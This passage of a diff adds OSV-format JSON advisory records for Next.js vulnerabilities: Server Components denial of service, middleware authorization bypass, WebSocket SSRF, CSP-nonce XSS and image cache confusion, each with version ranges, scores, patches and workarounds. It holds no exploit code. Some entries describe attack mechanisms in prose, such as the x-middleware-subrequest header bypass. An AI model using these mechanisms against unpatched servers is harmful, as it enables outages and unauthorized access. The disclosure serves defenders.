+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.9"
+ },
+ {
+ "fixed": "16.0.10"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.1.0-canary.17"
+ },
+ {
+ "fixed": "16.1.0-canary.19"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1395",
+ "CWE-400",
+ "CWE-502"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-12-12T17:21:57Z",
+ "nvd_published_at": "2025-12-12T00:15:46Z",
+ "severity": "HIGH"
+ },
+ "details": "It was discovered that the fix for [CVE-2025-55184](https://github.com/advisories/GHSA-2m3v-v2m8-q956) in React Server Components was incomplete and did not fully mitigate denial-of-service conditions across all payload types. As a result, certain crafted inputs could still trigger excessive resource consumption. \n\nThis vulnerability affects React versions 19.0.2, 19.1.3, and 19.2.2, as well as frameworks that bundle or depend on these versions, including Next.js 13.x, 14.x, 15.x, and 16.x when using the App Router. The issue is tracked upstream as [CVE-2025-67779](https://www.cve.org/CVERecord?id=CVE-2025-67779).\n\nA malicious actor can send a specially crafted HTTP request to a Server Function endpoint that, when deserialized, causes the React Server Components runtime to enter an infinite loop. This can lead to sustained CPU consumption and cause the affected server process to become unresponsive, resulting in a denial-of-service condition in unpatched environments.",
+ "id": "GHSA-5j59-xgg2-r9c4",
+ "modified": "2026-02-04T02:46:38.768104Z",
+ "published": "2025-12-12T17:21:57Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-5j59-xgg2-r9c4"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67779"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nextjs.org/blog/security-update-2025-12-11"
+ },
+ {
+ "type": "WEB",
+ "url": "https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.cve.org/CVERecord?id=CVE-2025-55184"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.facebook.com/security/advisories/cve-2025-67779"
+ }
+ ],
+ "related": [
+ "CGA-67jq-q47w-r3w9"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next has a Denial of Service with Server Components - Incomplete Fix Follow-Up"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-7gfc-8cq8-jh5f/GHSA-7gfc-8cq8-jh5f.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "9.5.5"
+ },
+ {
+ "fixed": "14.2.15"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2024-51479"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-285",
+ "CWE-863"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2024-12-17T15:09:06Z",
+ "nvd_published_at": "2024-12-17T19:15:06Z",
+ "severity": "HIGH"
+ },
+ "details": "### Impact\nIf a Next.js application is performing authorization in middleware based on pathname, it was possible for this authorization to be bypassed.\n\n### Patches\nThis issue was patched in Next.js `14.2.15` and later.\n\nIf your Next.js application is hosted on Vercel, this vulnerability has been automatically mitigated, regardless of Next.js version.\n\n### Workarounds\nThere are no official workarounds for this vulnerability.\n\n#### Credits\nWe'd like to thank [tyage](http://github.com/tyage) (GMO CyberSecurity by IERAE) for responsible disclosure of this issue.",
+ "id": "GHSA-7gfc-8cq8-jh5f",
+ "modified": "2025-09-10T21:12:24Z",
+ "published": "2024-12-17T15:09:06Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-7gfc-8cq8-jh5f"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51479"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/1c8234eb20bc8afd396b89999a00f06b61d72d7b"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v14.2.15"
+ }
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js authorization bypass vulnerability"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-7m27-7ghc-44w9/GHSA-7m27-7ghc-44w9.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.0.0"
+ },
+ {
+ "fixed": "13.5.8"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-7m27-7ghc-44w9/GHSA-7m27-7ghc-44w9.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "14.0.0"
+ },
+ {
+ "fixed": "14.2.21"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-7m27-7ghc-44w9/GHSA-7m27-7ghc-44w9.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.0.0"
+ },
+ {
+ "fixed": "15.1.2"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2024-56332"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-770"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-01-03T20:19:29Z",
+ "nvd_published_at": "2025-01-03T21:15:13Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Impact\nA Denial of Service (DoS) attack allows attackers to construct requests that leaves requests to Server Actions hanging until the hosting provider cancels the function execution.\n\n_Note: Next.js server is idle during that time and only keeps the connection open. CPU and memory footprint are low during that time._\n\nDeployments without any protection against long running Server Action invocations are especially vulnerable. Hosting providers like Vercel or Netlify set a default maximum duration on function execution to reduce the risk of excessive billing.\n\nThis is the same issue as if the incoming HTTP request has an invalid `Content-Length` header or never closes. If the host has no other mitigations to those then this vulnerability is novel.\n\nThis vulnerability affects only Next.js deployments using Server Actions.\n\n### Patches\n\nThis vulnerability was resolved in Next.js 14.2.21, 15.1.2, and 13.5.8. We recommend that users upgrade to a safe version.\n\n### Workarounds\n\nThere are no official workarounds for this vulnerability.\n\n### Credits\n\nThanks to the PackDraw team for responsibly disclosing this vulnerability.",
+ "id": "GHSA-7m27-7ghc-44w9",
+ "modified": "2026-02-04T04:36:04.252972Z",
+ "published": "2025-01-03T20:19:29Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-7m27-7ghc-44w9"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56332"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ }
+ ],
+ "related": [
+ "CGA-q5gr-hcv8-7f5f"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js Allows a Denial of Service (DoS) with Server Actions"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-8h8q-6873-q5fj/GHSA-8h8q-6873-q5fj.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.0.0"
+ },
+ {
+ "fixed": "15.5.16"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-8h8q-6873-q5fj/GHSA-8h8q-6873-q5fj.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0"
+ },
+ {
+ "fixed": "16.2.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-770"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-11T14:50:27Z",
+ "nvd_published_at": null,
+ "severity": "HIGH"
+ },
+ "details": "A vulnerability affects certain React Server Components packages for versions 19.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as [CVE-2026-23870](https://github.com/facebook/react/security/advisories/GHSA-rv78-f8rc-xrxh). \n\nA specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage. This can result in denial of service in unpatched environments.",
+ "id": "GHSA-8h8q-6873-q5fj",
+ "modified": "2026-05-13T03:44:29.651510184Z",
+ "published": "2026-05-11T14:50:27Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/facebook/react/security/advisories/GHSA-rv78-f8rc-xrxh"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-8h8q-6873-q5fj"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-w94c-4vhp-22gx"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23870"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ }
+ ],
+ "related": [
+ "CGA-752w-hqrp-f6rq"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js Vulnerable to Denial of Service with Server Components"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-9g9p-9gw9-jx7f/GHSA-9g9p-9gw9-jx7f.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "10.0.0"
+ },
+ {
+ "fixed": "15.5.10"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-9g9p-9gw9-jx7f/GHSA-9g9p-9gw9-jx7f.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.6.0-canary.0"
+ },
+ {
+ "fixed": "16.1.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-59471"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-400",
+ "CWE-770"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-01-27T19:18:25Z",
+ "nvd_published_at": "2026-01-26T22:15:52Z",
+ "severity": "MODERATE"
+ },
+ "details": "A DoS vulnerability exists in self-hosted Next.js applications that have `remotePatterns` configured for the Image Optimizer. The image optimization endpoint (`/_next/image`) loads external images entirely into memory without enforcing a maximum size limit, allowing an attacker to cause out-of-memory conditions by requesting optimization of arbitrarily large images. This vulnerability requires that `remotePatterns` is configured to allow image optimization from external domains and that the attacker can serve or control a large image on an allowed domain.\n\nStrongly consider upgrading to 15.5.10 and 16.1.5 to reduce risk and prevent availability issues in Next applications.",
+ "id": "GHSA-9g9p-9gw9-jx7f",
+ "modified": "2026-02-10T01:28:46.973023Z",
+ "published": "2026-01-27T19:18:25Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-9g9p-9gw9-jx7f"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59471"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/500ec83743639addceaede95e95913398975156c"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/e5b834d208fe0edf64aa26b5d76dcf6a176500ec"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v15.5.10"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v16.1.5"
+ }
+ ],
+ "related": [
+ "CGA-4vjj-www8-24q4"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js self-hosted applications vulnerable to DoS via Image Optimizer remotePatterns configuration"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-c4j6-fc7j-m34r/GHSA-c4j6-fc7j-m34r.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.4.13"
+ },
+ {
+ "fixed": "15.5.16"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-c4j6-fc7j-m34r/GHSA-c4j6-fc7j-m34r.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0"
+ },
+ {
+ "fixed": "16.2.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44578"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-918"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-11T15:55:15Z",
+ "nvd_published_at": "2026-05-13T18:16:17Z",
+ "severity": "HIGH"
+ },
+ "details": "### Impact\n\nSelf-hosted applications using the built-in Node.js server can be vulnerable to server-side request forgery through crafted WebSocket upgrade requests. An attacker can cause the server to proxy requests to arbitrary internal or external destinations, which may expose internal services or cloud metadata endpoints. Vercel-hosted deployments are not affected.\n\n### Fix\n\nWe now apply the same safety checks to WebSocket upgrade handling that already existed for normal HTTP requests, so upgrade requests are only proxied when routing has explicitly marked them as safe external rewrites.\n\n### Workarounds\n\nIf you cannot upgrade immediately, do not expose the origin server directly to untrusted networks. If WebSocket upgrades are not required, block them at your reverse proxy or load balancer, and restrict origin egress to internal networks and metadata services where possible.",
+ "id": "GHSA-c4j6-fc7j-m34r",
+ "modified": "2026-05-14T20:50:45.445293Z",
+ "published": "2026-05-11T15:55:15Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44578"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
+ }
+ ],
+ "related": [
+ "CGA-5q48-xqj7-3wc8"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js vulnerable to server-side request forgery in applications using WebSocket upgrades"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-f82v-jwr5-mffw/GHSA-f82v-jwr5-mffw.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.0.0"
+ },
+ {
+ "fixed": "13.5.9"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-f82v-jwr5-mffw/GHSA-f82v-jwr5-mffw.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "14.0.0"
+ },
+ {
+ "fixed": "14.2.25"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-f82v-jwr5-mffw/GHSA-f82v-jwr5-mffw.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.0.0"
+ },
+ {
+ "fixed": "15.2.3"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-f82v-jwr5-mffw/GHSA-f82v-jwr5-mffw.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "12.0.0"
+ },
+ {
+ "fixed": "12.3.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-29927"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-285",
+ "CWE-863"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-03-21T15:20:12Z",
+ "nvd_published_at": "2025-03-21T15:15:42Z",
+ "severity": "CRITICAL"
+ },
+ "details": "# Impact\nIt is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.\n\n# Patches\n* For Next.js 15.x, this issue is fixed in `15.2.3`\n* For Next.js 14.x, this issue is fixed in `14.2.25`\n* For Next.js 13.x, this issue is fixed in 13.5.9\n* For Next.js 12.x, this issue is fixed in 12.3.5\n* For Next.js 11.x, consult the below workaround.\n\n_Note: Next.js deployments hosted on Vercel are automatically protected against this vulnerability._\n\n# Workaround\nIf patching to a safe version is infeasible, we recommend that you prevent external user requests which contain the `x-middleware-subrequest` header from reaching your Next.js application.\n\n## Credits\n\n- Allam Rachid (zhero;)\n- Allam Yasser (inzo_)",
+ "id": "GHSA-f82v-jwr5-mffw",
+ "modified": "2026-03-04T15:06:29.993197Z",
+ "published": "2025-03-21T15:20:12Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29927"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/52a078da3884efe6501613c7834a3d02a91676d2"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/5fd3ae8f8542677c6294f32d18022731eab6fe48"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v12.3.5"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v13.5.9"
+ },
+ {
+ "type": "WEB",
+ "url": "https://security.netapp.com/advisory/ntap-20250328-0002"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vercel.com/changelog/vercel-firewall-proactively-protects-against-vulnerability-with-middleware"
+ },
+ {
+ "type": "WEB",
+ "url": "http://www.openwall.com/lists/oss-security/2025/03/23/3"
+ },
+ {
+ "type": "WEB",
+ "url": "http://www.openwall.com/lists/oss-security/2025/03/23/4"
+ }
+ ],
+ "related": [
+ "CGA-fp7v-rgjp-xfjh"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Authorization Bypass in Next.js Middleware"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-ffhc-5mcf-pf4q/GHSA-ffhc-5mcf-pf4q.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.4.0"
+ },
+ {
+ "fixed": "15.5.16"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-ffhc-5mcf-pf4q/GHSA-ffhc-5mcf-pf4q.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0"
+ },
+ {
+ "fixed": "16.2.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44581"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-11T15:57:12Z",
+ "nvd_published_at": "2026-05-13T18:16:18Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Impact\n\nApp Router applications that rely on CSP nonces can be vulnerable to stored cross-site scripting when deployed behind shared caches. In affected versions, malformed nonce values derived from request headers could be reflected into rendered HTML in an unsafe way, allowing an attacker to poison cached responses and cause script execution for later visitors.\n\n### Fix\n\nWe now reject or ignore malformed nonce values before they are embedded into HTML and apply stricter nonce sanitization so request-derived nonce data cannot break out of the intended attribute context.\n\n### Workarounds\n\nIf you cannot upgrade immediately, strip inbound `Content-Security-Policy` request headers from untrusted traffic.",
+ "id": "GHSA-ffhc-5mcf-pf4q",
+ "modified": "2026-05-14T20:51:12.557092Z",
+ "published": "2026-05-11T15:57:12Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-ffhc-5mcf-pf4q"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44581"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
+ }
+ ],
+ "related": [
+ "CGA-wrq4-vjjv-9rgr"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js vulnerable to cross-site scripting in App Router applications using CSP nonces"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-g5qg-72qw-gw5v/GHSA-g5qg-72qw-gw5v.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0.9.9"
+ },
+ {
+ "fixed": "14.2.31"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 15.4.4",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-g5qg-72qw-gw5v/GHSA-g5qg-72qw-gw5v.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.0.0"
+ },
+ {
+ "fixed": "15.4.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-57752"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-524"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-29T22:06:22Z",
+ "nvd_published_at": "2025-08-29T22:15:31Z",
+ "severity": "MODERATE"
+ },
+ "details": "A vulnerability in Next.js Image Optimization has been fixed in v15.4.5 and v14.2.31. When images returned from API routes vary based on request headers (such as `Cookie` or `Authorization`), these responses could be incorrectly cached and served to unauthorized users due to a cache key confusion bug.\n\nAll users are encouraged to upgrade if they use API routes to serve images that depend on request headers and have image optimization enabled.\n\nMore details at [Vercel Changelog](https://vercel.com/changelog/cve-2025-57752)",
+ "id": "GHSA-g5qg-72qw-gw5v",
+ "modified": "2026-02-04T02:50:08.291668Z",
+ "published": "2025-08-29T22:06:22Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-g5qg-72qw-gw5v"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57752"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/pull/82114"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/6b12c60c61ee80cb0443ccd20de82ca9b4422ddd"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vercel.com/changelog/cve-2025-57752"
+ }
+ ],
+ "related": [
+ "CGA-pqr9-x8qf-vww8"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js Affected by Cache Key Confusion for Image Optimization API Routes"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-g77x-44xx-532m/GHSA-g77x-44xx-532m.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "10.0.0"
+ },
+ {
+ "fixed": "14.2.7"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2024-47831"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-674"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2024-10-14T19:45:21Z",
+ "nvd_published_at": "2024-10-14T18:15:05Z",
+ "severity": "MODERATE"
+ },
